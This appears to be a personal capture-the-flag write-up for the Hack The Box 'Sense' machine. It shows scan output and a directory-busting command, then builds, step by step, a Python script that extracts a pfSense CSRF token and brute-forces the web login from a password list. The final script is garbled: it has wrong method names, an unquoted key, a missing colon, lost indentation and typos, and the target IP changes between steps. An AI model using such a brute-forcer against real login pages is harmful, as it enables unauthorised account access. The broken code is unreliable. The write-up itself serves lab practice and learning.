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HTB Sense (Linux) - Simple python script for brute forcing
I followed a walk-through video by IppSec to crack the Sense box on HTB.
This write-up demonstrates how I got the root flag and how IppSec introduced one way to write a python script to brute force credentials with burpsuite.
- 1.Using CVE to root the machine.
Nmap Scan Result:
Host is up (0.11s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http lighttpd 1.4.35
|_http-title: Did not follow redirect to https://10.129.168.80/
|_http-server-header: lighttpd/1.4.35
443/tcp open ssl/http lighttpd 1.4.35
|_http-title: Login
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after: 2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time
|_http-server-header: lighttpd/1.4.35
gobuster dir -u https://10.129.168.90 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x txt > gobusteroutput.txt
- -k ignores ssl certificate
- -x specifies file extensions
Two txt files were found
- changelog.txt
- system-users.txt
System-users.txt has some login info
Used the exploit with the valid options.
- 1.open burp - intercept the login traffic
What fields are needed? __csrf_magic=sid%3Ae02ae44bc2489bbc39bff40036d2cd98829d6bef%2C1643129962&usernamefld=aaaa&passwordfld=bbbb&login=Login$
#This simple script sends a http request without SSL verification
import requests
import re
re_csrf = 'csrfMagicToken = "(.+?)"'
s = requests.session()
r = s.get('https://10.129.168.197/index.php', verify=False) #this ignores SSL
print(r.text)
#Now we modified the script to capture the Token we need
import requests
import re
re_csrf = 'csrfMagicToken = "(.+?)"'
s = requests.session()
r = s.get('https://10.129.168.197/index.php', verify=False) #this ignores SSL
csrf = re.findall(re_csrf, r.text)[0] #captures the first token we see.
print(csrf)
Weird warning appears in the output:
How do we get rid of it?
https://stackoverflow.com/questions/27981545/suppress-insecurerequestwarning-unverified-https-request-is-being-made-in-pytho Found this solution and added the following lines to our script/
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
The error disappeared!
#Now we can make a post request and add cookies with a dictionary form.
import requests
import re
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
re_csrf = 'csrfMagicToken = "(.+?)"'
s = requests.session()
r = s.get('https://10.129.168.197/index.php', verify=False) #this ignores SSL
csrf = re.findall(re_csrf, r.text)[0] #captures the first token we see.
cookie = {'__csrf_magic': csrf, 'usernamefld': 'ippsec', 'passwordfld': 'something', 'login':'Login'}
r = s.post('https://10.129.168.197/index.php', data=cookie)
print(csrf)
print(r.text)
We can see that the request was made properly by seeing the incorrect credential error.
#just change where the requests are going to 127.0.0.1(https to http), get rid of the insecure warning request module, and SSL bypass.
import requests
import re
import requests
re_csrf = 'csrfMagicToken = "(.+?)"'
s = requests.session()
r = s.post('http://127.0.0.1/index.php') #this ignores SSL
csrf = re.findall(re_csrf, r.text)[0] #captures the first token we see.
cookie = {'__csrf_magic': csrf, 'usernamefld': 'ippsec', 'passwordfld': 'something', 'login':'Login'}
r = s.post('http://127.0.0.1/index.php', data=cookie)
print(csrf)
print(r.text)
#just change where the requests are going to 127.0.0.1(https to http), get rid of the insecure warning request module, and SSL bypass.
import requests
import re
import requests
re_csrf = 'csrfMagicToken = "(.+?)"'
s = requests.session()
r = s.post('http://127.0.0.1/index.php') #this ignores SSL
csrf = re.findall(re_csrf, r.text)[0] #captures the first token we see.
cookie = {'__csrf_magic': csrf, 'usernamefld': 'rohit', 'passwordfld': 'pfsense', 'login':'Login'}
r = s.post('http://127.0.0.1/index.php', data=cookie)
print(csrf)
#modified credentials
import requests
import re
import requests
re_csrf = 'csrfMagicToken = "(.+?)"'
s = requests.session()
r = s.post('http://127.0.0.1/index.php') #this ignores SSL
csrf = re.findall(re_csrf, r.text)[0] #captures the first token we see.
cookie = {'__csrf_magic': csrf, 'usernamefld': 'rohit', 'passwordfld': 'pfsense', 'login':'Login'}
r = s.post('http://127.0.0.1/index.php', data=cookie)
print(csrf)
- 1.
- 2.paste the code
- 3.Once you execute it, you can try getting all kinds of information with r. formatting. i.e) r.cookies, r.content, etc.
Create a password list that contains the actual password to see if the bruteforce works
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning #this part is to get rid of error codes when sending a http request
import re
re_csrf = 'csrfMagicToken = "(.+?)"' #without this, the request won't be validated
#we need to extract the token as it's needed for the login
s= requests.sessions()
lines =open('passwordlist.txt')
for password in lines:
r = s.post('http://127.0.0.1/index.php') #you need to send a get request first
csrf = re.findall(re_csrf, r.text)[0]
login = {__csrf_magic: csrf, 'usernamefld': 'rohit', 'passwordfld': password[:-1], 'login': 'Login'}
r = s.post('http://127.0.0.1/index.php', data=login) #[:-1] is needed, otherwise the request adds a character at the end
if "Dashboard" in r.txt
print("Valid Login " + "password was " + password)
else:
print("Failed")
s.cookies,ckear() #clear php session ID
print(r.status_code)
print(csrf)
Last modified 1yr ago